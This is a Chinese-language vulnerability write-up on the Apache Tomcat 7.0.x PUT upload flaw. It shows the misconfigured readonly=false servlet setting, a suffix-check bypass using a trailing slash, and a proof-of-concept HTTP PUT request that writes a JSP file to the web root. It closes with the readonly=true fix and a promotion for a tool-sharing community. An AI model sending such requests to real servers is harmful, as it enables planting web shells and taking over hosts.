一、漏洞描述
影响版本:Apache Tomcat 7.0.0-7.0.81
二、漏洞原理
Tomcat设置了写许可权(readonly = false),这导致我们可以将文件写到服务器中。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
尽管Tomcat在某种程度上检查了文件后缀(无法直接编写jsp),但是我们仍然可以通过某些文件系统功能(例如/在Linux中使用)来绕过该限制。
三、环境搭建
四、漏洞复现
POC
直接发送以下数据包,然后将外壳程序写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
另外还有绕过上传的方法,链接:https://www.cnblogs.com/backlion/p/7590797.html
五、漏洞修复
将readonly=true,默认为true。
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。